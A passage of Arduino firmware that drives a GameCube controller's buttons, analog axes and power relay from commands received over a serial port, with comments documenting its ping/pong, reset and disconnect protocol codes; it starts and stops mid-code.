previousResetControllerDataDelay = 0;\r\n\r\nunsigned int leftMotorVal = 0;\r\nunsigned int rightMotorVal = 0;\r\nunsigned int analogLedVal = 0;\r\n\r\nunsigned int vccReading = 0;\r\n\r\nunsigned int vccLevel = 0;\r\nunsigned int previousVccLevel = 0;\r\nunsigned long vccLevelLow = 0;\r\nunsigned long vccLevelHigh = 0;\r\nunsigned long previousVccLevelHigh = 0;\r\nunsigned long previousVccLevelLow = 0;\r\n\r\nunsigned int leftMotorLevel = 0;\r\nunsigned int previousLeftMotorLevel = 0;\r\nunsigned long leftMotorLevelLow = 0;\r\nunsigned long leftMotorLevelHigh = 0;\r\nunsigned long previousLeftMotorLevelHigh = 0;\r\nunsigned long previousLeftMotorLevelLow = 0;\r\n\r\nunsigned int rightMotorLevel = 0;\r\nunsigned int previousRightMotorLevel = 0;\r\nunsigned long rightMotorLevelLow = 0;\r\nunsigned long rightMotorLevelHigh = 0;\r\nunsigned long previousRightMotorLevelHigh = 0;\r\nunsigned long previousRightMotorLevelLow = 0;\r\n\r\nunsigned int analogLedLevel = 0;\r\nunsigned int previousAnalogLedLevel = 0;\r\nunsigned long analogLedLevelLow = 0;\r\nunsigned long analogLedLevelHigh = 0;\r\nunsigned long previousAnalogLedLevelHigh = 0;\r\nunsigned long previousAnalogLedLevelLow = 0;\r\n\r\nunsigned long readMotorsStatus = 0; \/\/ 0 = Read Both Low to High and High to Low changes, 1 = Disabled, 2 = Read Low to High changes, 3 = Read High to Low Changes. 0 Means it's enabled by default.\r\nunsigned long autoResetControllerDataStatus = 0; \/\/ 0 = Automatic reset is enabled, 1 = Automatic reset is disabled\r\nunsigned long resetBeforeInputStatus = 0; \/\/ 0 = Resetting before inputting is enabled, 1 = Resetting before inputting is disabled\r\nunsigned long autoDisconnectOnPingTimeout = 0; \/\/ 0 = Arduino will disconnect in case of PING time out, that is, when the computer doesn't respond to the Arduino with PONG, 1 = Arduino won't close connection to the computer in case of PING timeout\r\nunsigned long controllerPowerStatus = 0; \/\/ 0 = Controller is ON, 1 = Controller is OFF\r\nunsigned long readMotorsAlongSendPing = 0; \/\/ 0 = Read motors and get Attention levels after sending Ping, 1 = Do not read motors and get Attention levels after sending Ping.\r\nunsigned long sendInputOnce = 0; \/\/ 0 = Send only once, 1 = Send for every iteration of Loop\r\n\r\nboolean sentInputOnce = false;\r\nboolean sendInputOnlyOnce = false;\r\n\r\nunsigned long resetCalled = 0;\r\nunsigned long resetDone = 0;\r\n\r\nunsigned long disconnectCalled = 0;\r\nunsigned long disconnectDone = 0;\r\n\r\nunsigned long baudRate = 115200;\r\n\r\nbyte serial_rx_buffer[12];\r\nbyte serial_rx_buffer_inverted[12];\r\nbyte serial_rx_buffer_controller[12];\r\nbyte serial_rx_buffer_ping_in[12];\r\nbyte serial_rx_buffer_ping_out[12];\r\nbyte serial_rx_buffer_pong_in[12];\r\nbyte serial_rx_buffer_pong_out[12];\r\nbyte serial_rx_buffer_motor[12];\r\nbyte serial_rx_buffer_reset[12];\r\nbyte serial_rx_buffer_disconnect[12];\r\nbyte serial_rx_buffer_inverted_controller[12];\r\nbyte serial_rx_buffer_invalid_command[12];\r\nbyte serial_rx_buffer_reset_controller[12];\r\nbyte serial_rx_buffer_change_motors_status[12];\r\nbyte serial_rx_buffer_change_autoreset_controller_status[12];\r\nbyte serial_rx_buffer_toggle_before_input_reset[12];\r\nbyte serial_rx_buffer_toggle_disconnect_on_ping_timeout[12];\r\nbyte serial_rx_buffer_toggle_controller_pwr[12];\r\nbyte serial_rx_buffer_toggle_motors_after_ping[12];\r\nbyte serial_rx_buffer_toggle_send_input_back[12];\r\nbyte serial_rx_buffer_reset_gcn_controller[12];\r\nunsigned long serial_rx_buffer_counter = 0;\r\nunsigned long controller = 0;\r\n\r\n\/\/ The array below is an array of all buttons in the order the bytes have to be sent\r\nunsigned int commandArray[] = {buttonStart, buttonY, buttonX, buttonB, buttonA, buttonLTrigger, buttonRTrigger, buttonZ, buttonDUp, buttonDDown, buttonDRight, buttonDLeft, axisLTrigger, axisRTrigger, buttonMacro, buttonTurbo, axisX, axisY, axisCx, axisCy, buttonMode};\r\nunsigned int motorArray[] = {motorInput, turboLed, macroLed};\r\n\r\nvoid setup() {\r\n \/\/TCCR0B = (TCCR0B & 0xF8) | 0x02;\r\n TCCR3B = (TCCR2B & 0xF8) | 0x01;\r\n Serial.begin(baudRate);\r\n for (unsigned int buttonArrayIndex = 0; buttonArrayIndex < (sizeof(commandArray) \/ sizeof(unsigned int)); buttonArrayIndex++)\r\n {\r\n pinMode(commandArray[buttonArrayIndex], OUTPUT);\r\n digitalWrite(commandArray[buttonArrayIndex], LOW);\r\n \/*\r\n Serial.print(\"index=\");\r\n Serial.print(buttonArrayIndex);\r\n Serial.print(\",contents=\");\r\n Serial.println(commandArray[buttonArrayIndex]);\r\n *\/\r\n }\r\n digitalWrite(axisLTrigger, HIGH);\r\n digitalWrite(axisRTrigger, HIGH);\r\n \/\/delay(133);\r\n\r\n analogWrite(axisCx, 128);\r\n analogWrite(axisCy, 127);\r\n analogWrite(axisX, 128);\r\n analogWrite(axisY, 127);\r\n\r\n pinMode(motorInput, INPUT);\r\n pinMode(turboLed, INPUT);\r\n pinMode(macroLed, INPUT);\r\n\r\n pinMode(vccPin, INPUT);\r\n readMotors();\r\n pinMode(relayPin, OUTPUT);\r\n digitalWrite(relayPin, HIGH);\r\n \/\/delay(133);\r\n digitalWrite(axisLTrigger, LOW);\r\n digitalWrite(axisRTrigger, LOW);\r\n readMotors();\r\n\r\n serial_rx_buffer_toggle_controller_pwr[0] = 0x17;\r\n serial_rx_buffer_toggle_controller_pwr[1] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[2] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[3] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[4] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[5] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[6] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[7] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[8] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[9] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[10] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[11] = 0x17;\r\n\r\n serial_rx_buffer_toggle_motors_after_ping[0] = 0x19;\r\n serial_rx_buffer_toggle_motors_after_ping[1] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[2] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[3] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[4] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[5] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[6] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[7] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[8] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[9] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[10] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[11] = 0x19;\r\n\r\n serial_rx_buffer_toggle_send_input_back[0] = 0x1B;\r\n serial_rx_buffer_toggle_send_input_back[1] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[2] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[3] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[4] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[5] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[6] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[7] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[8] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[9] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[10] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[11] = 0x1B;\r\n\r\n serial_rx_buffer_reset_gcn_controller[0] = 0x1D;\r\n serial_rx_buffer_reset_gcn_controller[1] = 0x00;\r\n serial_rx_buffer_reset_gcn_controller[2] = 0x00;\r\n serial_rx_buffer_reset_gcn_controller[3] = 0x00;\r\n serial_rx_buffer_reset_gcn_controller[4] = 0x00;\r\n serial_rx_buffer_reset_gcn_controller[5] = 0x00;\r\n serial_rx_buffer_reset_gcn_controller[6] = 0x00;\r\n serial_rx_buffer_reset_gcn_controller[7] = 0x00;\r\n serial_rx_buffer_reset_gcn_controller[8] = 0x00;\r\n serial_rx_buffer_reset_gcn_controller[9] = 0x00;\r\n serial_rx_buffer_reset_gcn_controller[10] = 0x00;\r\n serial_rx_buffer_reset_gcn_controller[11] = 0x1D;\r\n\r\n inputDelay = 0;\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n\r\n currentMillis = millis();\r\n \/\/Serial.begin(baudRate);\r\n isConnected = false;\r\n disconnectCalled = currentMillis;\r\n serial_rx_buffer_disconnect[8] = (byte)((disconnectCalled & 0xFF));\r\n serial_rx_buffer_disconnect[7] = (byte)((disconnectCalled >> 8) & 0xFF);\r\n serial_rx_buffer_disconnect[6] = (byte)((disconnectCalled >> 16) & 0xFF);\r\n serial_rx_buffer_disconnect[5] = (byte)((disconnectCalled >> 24) & 0xFF);\r\n \/\/Serial.println(disconnectCalled);\r\n \/\/Serial.println(\"DISCONNECTING...\");\r\n serial_rx_buffer_disconnect[0] = 0x0A;\r\n serial_rx_buffer_disconnect[11] = 0x0A;\r\n \/\/ Send Disconnect command to tell the computer to wait before sending any commands back to the Arduino\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n \/\/Serial.println(\"START OF SETUP\");\r\n\r\n \/\/ Prepare data to sent on startup as a way to tell the controller is in Neutral position\r\n \/\/ That means, when all buttons and analog sticks are reset to their Neutral positions\r\n serial_rx_buffer_controller[0] = 0x01; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer_controller[11] = 0x01; \/\/ Postamble\r\n\r\n resetCalled = currentMillis;\r\n serial_rx_buffer_reset[8] = (byte)((resetCalled & 0xFF));\r\n serial_rx_buffer_reset[7] = (byte)((resetCalled >> 8) & 0xFF);\r\n serial_rx_buffer_reset[6] = (byte)((resetCalled >> 16) & 0xFF);\r\n serial_rx_buffer_reset[5] = (byte)((resetCalled >> 24) & 0xFF);\r\n serial_rx_buffer_reset[0] = 0xA0;\r\n serial_rx_buffer_reset[11] = 0xA0;\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_reset[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n\r\n \/\/delay(2500); \/\/ Wait 2.5 seconds for the serial program on the computer to startup before sending any data\r\n\r\n resetDone = currentMillis;\r\n serial_rx_buffer_reset[0] = 0xA1;\r\n serial_rx_buffer_reset[11] = 0xA1;\r\n serial_rx_buffer_reset[8] = (byte)((resetDone & 0xFF));\r\n serial_rx_buffer_reset[7] = (byte)((resetDone >> 8) & 0xFF);\r\n serial_rx_buffer_reset[6] = (byte)((resetDone >> 16) & 0xFF);\r\n serial_rx_buffer_reset[5] = (byte)((resetDone >> 24) & 0xFF);\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_reset[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n\r\n serial_rx_buffer_disconnect[0] = 0x0B;\r\n serial_rx_buffer_disconnect[11] = 0x0B;\r\n isConnected = true;\r\n disconnectDone = currentMillis;\r\n serial_rx_buffer_disconnect[8] = (byte)((disconnectDone & 0xFF));\r\n serial_rx_buffer_disconnect[7] = (byte)((disconnectDone >> 8) & 0xFF);\r\n serial_rx_buffer_disconnect[6] = (byte)((disconnectDone >> 16) & 0xFF);\r\n serial_rx_buffer_disconnect[5] = (byte)((disconnectDone >> 24) & 0xFF);\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n \/\/ Count bytes and parse ASCII values to their respective commands, such as buttons and axis\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n }\r\n Serial.flush();\r\n \/\/ Now we send PING to the computer as a way to tell we are connected and ready to receive and send data through the serial port\r\n \/\/ This will be executed whenever the computer starts serial through the Processing Serial Library, which forces the Arduino to reset, due to DTR line (Data Terminal Ready)\r\n pingTimeOut = currentMillis;\r\n serial_rx_buffer_ping_out[8] = (byte)((pingTimeOut & 0xFF));\r\n serial_rx_buffer_ping_out[7] = (byte)((pingTimeOut >> 8) & 0xFF);\r\n serial_rx_buffer_ping_out[6] = (byte)((pingTimeOut >> 16) & 0xFF);\r\n serial_rx_buffer_ping_out[5] = (byte)((pingTimeOut >> 24) & 0xFF);\r\n sentPing = false;\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_ping_out); serial_rx_buffer_counter++) {\r\n if (serial_rx_buffer_counter == 0) {\r\n Serial.write(0x03);\r\n }\r\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\r\n Serial.write(0x00);\r\n }\r\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\r\n Serial.write(serial_rx_buffer_ping_out[serial_rx_buffer_counter]);\r\n }\r\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\r\n Serial.write(0x00);\r\n }\r\n if (serial_rx_buffer_counter == 11) {\r\n Serial.write(0x03);\r\n }\r\n sentPing = true;\r\n }\r\n sentPing = false;\r\n Serial.flush();\r\n sendPing();\r\n calculatePing();\r\n calculatePong();\r\n readMotors();\r\n manualResetControllerData();\r\n toggleBeforeInputReset();\r\n toggleDisconnectOnPingTimeout();\r\n toggleControllerPower();\r\n toggleMotorsAfterPing();\r\n toggleSendInputBack();\r\n\r\n serial_rx_buffer_change_motors_status[0] = 0x0F;\r\n serial_rx_buffer_change_motors_status[1] = 0x00;\r\n serial_rx_buffer_change_motors_status[2] = 0x00;\r\n serial_rx_buffer_change_motors_status[3] = 0x00;\r\n serial_rx_buffer_change_motors_status[4] = 0x00;\r\n serial_rx_buffer_change_motors_status[5] = 0x00;\r\n serial_rx_buffer_change_motors_status[6] = 0x00;\r\n serial_rx_buffer_change_motors_status[7] = 0x00;\r\n serial_rx_buffer_change_motors_status[8] = 0x00;\r\n serial_rx_buffer_change_motors_status[9] = 0x00;\r\n serial_rx_buffer_change_motors_status[10] = 0x00;\r\n serial_rx_buffer_change_motors_status[11] = 0x0F;\r\n\r\n serial_rx_buffer_change_autoreset_controller_status[0] = 0x11;\r\n serial_rx_buffer_change_autoreset_controller_status[1] = 0x00;\r\n serial_rx_buffer_change_autoreset_controller_status[2] = 0x00;\r\n serial_rx_buffer_change_autoreset_controller_status[3] = 0x00;\r\n serial_rx_buffer_change_autoreset_controller_status[4] = 0x00;\r\n serial_rx_buffer_change_autoreset_controller_status[5] = 0x00;\r\n serial_rx_buffer_change_autoreset_controller_status[6] = 0x00;\r\n serial_rx_buffer_change_autoreset_controller_status[7] = 0x00;\r\n serial_rx_buffer_change_autoreset_controller_status[8] = 0x00;\r\n serial_rx_buffer_change_autoreset_controller_status[9] = 0x00;\r\n serial_rx_buffer_change_autoreset_controller_status[10] = 0x00;\r\n serial_rx_buffer_change_autoreset_controller_status[11] = 0x11;\r\n\r\n serial_rx_buffer_toggle_before_input_reset[0] = 0x13;\r\n serial_rx_buffer_toggle_before_input_reset[1] = 0x00;\r\n serial_rx_buffer_toggle_before_input_reset[2] = 0x00;\r\n serial_rx_buffer_toggle_before_input_reset[3] = 0x00;\r\n serial_rx_buffer_toggle_before_input_reset[4] = 0x00;\r\n serial_rx_buffer_toggle_before_input_reset[5] = 0x00;\r\n serial_rx_buffer_toggle_before_input_reset[6] = 0x00;\r\n serial_rx_buffer_toggle_before_input_reset[7] = 0x00;\r\n serial_rx_buffer_toggle_before_input_reset[8] = 0x00;\r\n serial_rx_buffer_toggle_before_input_reset[9] = 0x00;\r\n serial_rx_buffer_toggle_before_input_reset[10] = 0x00;\r\n serial_rx_buffer_toggle_before_input_reset[11] = 0x13;\r\n\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[0] = 0x15;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[1] = 0x00;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[2] = 0x00;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[3] = 0x00;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[4] = 0x00;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[5] = 0x00;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[6] = 0x00;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[7] = 0x00;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[8] = 0x00;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[9] = 0x00;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[10] = 0x00;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[11] = 0x15;\r\n\r\n serial_rx_buffer_toggle_controller_pwr[0] = 0x17;\r\n serial_rx_buffer_toggle_controller_pwr[1] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[2] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[3] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[4] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[5] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[6] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[7] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[8] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[9] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[10] = 0x00;\r\n serial_rx_buffer_toggle_controller_pwr[11] = 0x17;\r\n\r\n serial_rx_buffer_toggle_motors_after_ping[0] = 0x19;\r\n serial_rx_buffer_toggle_motors_after_ping[1] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[2] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[3] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[4] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[5] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[6] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[7] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[8] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[9] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[10] = 0x00;\r\n serial_rx_buffer_toggle_motors_after_ping[11] = 0x19;\r\n\r\n serial_rx_buffer_toggle_send_input_back[0] = 0x1B;\r\n serial_rx_buffer_toggle_send_input_back[1] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[2] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[3] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[4] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[5] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[6] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[7] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[8] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[9] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[10] = 0x00;\r\n serial_rx_buffer_toggle_send_input_back[11] = 0x1B;\r\n\r\n inputDelay = 0;\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n\r\n changeReadMotorsStatus();\r\n changeAutoResetControllerData();\r\n\r\n readMotors();\r\n\r\n \/\/Serial.println(\"END OF SETUP\");\r\n \/\/ And we are ready to go\r\n\r\n readMotors();\r\n}\r\n\r\nvoid loop() {\r\n currentMillis = millis();\r\n \/\/ Get data from Serial Port\r\n \/\/ Preamble\/Postamble = 0x01 for Controller Input \/\/ Does the Arduino have to respond with a different Preamble\/Postamble value when it receives a valid Controller Input Data?\r\n \/\/ Preamble\/Postamble = Send 0x02 to Arduino for Motors and Analog Status\r\n \/\/ Preamble\/Postamble = Arduino responds with 0x06 for Motors and Analog Status, when Preamble\/Postamble = 0x02\r\n \/\/ Preamble\/Postamble = 0x07 for Motors and Analog Status, when Attention Pin is LOW\r\n \/\/ Preamble\/Postamble = 0x08 for Motors and Analog Status, when Attention Pin is HIGH\r\n\r\n \/\/ Preamble\/Postamble = 0x03 for PING for BOTH ways\r\n \/\/ PING\/PONG System where PING is sent from the Arduino and PONG is sent from the Computer:\r\n \/\/ Where \">>\" is incoming data and \"<<\" is outgoing data\r\n \/\/ << PING 3000 \/\/ This is data sent from the Arduino\r\n \/\/ >> PONG 3000 \/\/ This is data the Arduino received\r\n\r\n \/\/ Preamble\/Postamble = 0x04 for PING for BOTH ways\r\n \/\/ PING\/PONG System where PING is sent from the Arduino and PONG is sent from the Computer:\r\n \/\/ Where \">>\" is incoming data and \"<<\" is outgoing data\r\n \/\/ << PING 3000 \/\/ This is data sent from the Arduino\r\n \/\/ >> PONG 3000 \/\/ This is data the Arduino received\r\n\r\n \/\/ Preamble\/Postamble = 0x05 for PONG for BOTH ways\r\n \/\/ NOTE: This is used for testing purposes!\r\n \/\/ PING\/PONG System where PING is sent from the Computer and PONG is sent from the Arduino:\r\n \/\/ Where \">>\" is incoming data and \"<<\" is outgoing data\r\n \/\/ << PONG (0x04) 3000 \/\/ This is data sent from the Arduino\r\n \/\/ >> PONG (0x05) 3000 \/\/ This is data the Arduino received\r\n\r\n \/\/ NOTE: This is in no way supposed to represent actual communication, it's only a way to making visualizing data traffic more easily\r\n\r\n \/\/ Preamble\/Postamble = 0xA0 for Soft Reset the Arduino without resetting Variables\r\n \/\/ Preamble\/Postamble = 0xA1 for Command that tells the computer the Reset command 0xA0 was understood by the Arduino\r\n\r\n \/\/ Preamble\/Postamble = 0x09 for Disconnect\r\n \/\/ Preamble\/Postamble = 0x0A for Disconnect Understood\r\n \/\/ Preamble\/Postamble = 0x0B for Reconnect Successful\r\n \/\/ Example:\r\n \/\/ Arduino sends Disconnect to the computer in case of PING timeout (The Computer didn't respond with PONG in time)\r\n \/\/ The computer then sends Disconnect Understood back to the Arduino, both close connections on their ends, then start connection again\r\n \/\/ The Arduino then sends Reconnect Successful to tell the computer Connection is working as intended\r\n \/\/ Or:\r\n \/\/ Computer sends Disconnect to the Arduino in case of PING timeout (The Arduino didn't respond with PONG in time)\r\n \/\/ The Arduino then sends Disconnect Understood back to the Computer, both close connections on their ends, then start connection again\r\n \/\/ The Computer then sends Reconnect Successful to tell the Arduino Connection is working as intended\r\n\r\n \/\/ Preamble\/Postamble = 0x0C for Reset Controller Data\r\n \/\/ This is used when the computer requests Arduino to reset Controller data, Arduino then responds back with a 0x01 Controller Data Command.\r\n\r\n \/\/ Preamble\/Postamble = 0x0D for Invalid Data\r\n \/\/ When the computer or another host sends an invalid Preamble and Postamble comibination, the Arduino responds with 0x0D Preamble and Postamble bytes,\r\n \/\/ and adds the Invalid Preamble and Postamble bytes to the 7th and 8th byte of the Invalid Command 0x0D Command.\r\n\r\n \/\/ Preamble\/Postamble = 0x0E for Change Motor Readings\r\n \/\/ Arduino receives data to choose which motor changes to read (0 is disabled)\r\n\r\n \/\/ Preamble\/Postamble = 0x0F for Respond Back to Change Motor Readings\r\n \/\/ Arduino sends data to tell the computer the change was succesful\r\n\r\n \/\/ Preamble\/Postamble = 0x10 for Disable or Enable autoResetControllerData()\r\n \/\/ Arduino receives data to disable or enable Automatic Controller Reset Data (0 is disabled)\r\n\r\n \/\/ Preamble\/Postamble = 0x11 for Respond Back to autoResetControllerData()\r\n \/\/ Arduino sends data to tell the computer the change was succesful\r\n\r\n \/\/ Preamble\/Postamble = 0x12 for Choose to toggle auto reset before inputting\r\n \/\/ Arduino receives data to disable or enable Automatic Disconnection on PING timeout\r\n\r\n \/\/ Preamble\/Postamble = 0x13 for respond back to Choose to toggle auto reset before inputting\r\n \/\/ Arduino sends data to tell the computer the change was succesful\r\n\r\n \/\/ Preamble\/Postamble = 0x14 for Disable or Enable Auto disconnect on PING timeout\r\n \/\/ Arduino receives data to disable or enable Automatic Disconnection on PING timeout\r\n\r\n \/\/ Preamble\/Postamble = 0x15 for Respond Back to Auto disconnect on PING timeout\r\n \/\/ Arduino sends data to tell the computer the change was succesful\r\n\r\n \/\/ Preamble\/Postamble = 0x16 for Toggle Relay Switch to turn controller ON or OFF\r\n \/\/ Arduino receives data to turn controller ON or OFF\r\n\r\n \/\/ Preamble\/Postamble = 0x17 for Respond Back to Turning controller ON or OFF\r\n \/\/ Arduino sends data to tell the computer the change was succesful\r\n\r\n \/\/ Preamble\/Postamble = 0x18 for Toggle Reading Motor status on or off after sending PING\r\n \/\/ Arduino receives data to turn controller ReadMotors on or OFF after PING\r\n\r\n \/\/ Preamble\/Postamble = 0x19 for Respond Back to Toggle Reading Motor status on or off after sending PING\r\n \/\/ Arduino sends data to tell the computer the change was succesful\r\n\r\n \/\/ Preamble\/Postamble = 0x1A for toggle Send Input Once or every iteration of Loop\r\n \/\/ Arduino sends data to tell the computer the change was succesful\r\n\r\n \/\/ Preamble\/Postamble = 0x1B for respond back to Send Input Once or every iteration of Loop\r\n \/\/ Arduino sends data to tell the computer the change was succesful\r\n\r\n \/\/ Preamble\/Postamble = 0x1C for Reset GameCube Controller Data\r\n \/\/ Arduino sends data to tell the computer the change was succesful\r\n\r\n \/\/ Preamble\/Postamble = 0x1D for respond back to Reset GameCube Controller Data\r\n \/\/ Arduino sends data to tell the computer the change was succesful\r\n if (Serial.available() > 0) {\r\n\r\n controller = Serial.readBytes(serial_rx_buffer, sizeof(serial_rx_buffer)) && 0xFF;\r\n\r\n \/\/ Set Start Byte (Preamble Byte) and End Byte (Postamble Byte)\r\n \/\/ 1 == 0x01\r\n if ((serial_rx_buffer[0] == 0x01) && (serial_rx_buffer[11] == 0x01)) {\r\n\r\n if (resetBeforeInputStatus == 0) {\r\n manualResetControllerData();\r\n readMotors();\r\n }\r\n \/\/ Count bytes and parse ASCII values to their respective commands, such as buttons and axis\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n \/\/Serial.println(\"TEST 0\");\r\n serial_rx_buffer_inverted[serial_rx_buffer_counter] = ( serial_rx_buffer[serial_rx_buffer_counter]);\r\n serial_rx_buffer_controller[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]);\r\n }\r\n\r\n if (sendInputOnce == 0)\r\n {\r\n sendInputOnlyOnce = true;\r\n sentInputOnce = false;\r\n }\r\n if (sendInputOnce != 0)\r\n {\r\n sendInputOnlyOnce = false;\r\n sentInputOnce = true;\r\n }\r\n\r\n \/\/Serial.print('\\n');\r\n Serial.flush();\r\n \/\/ Make the button presses actually work\r\n \/\/sentInputOnce = false;\r\n isInputting = true;\r\n previousInputDelay = currentMillis;\r\n }\r\n \/\/ Get Motors and Analog status\r\n else if ((serial_rx_buffer[0] == 0x02) && 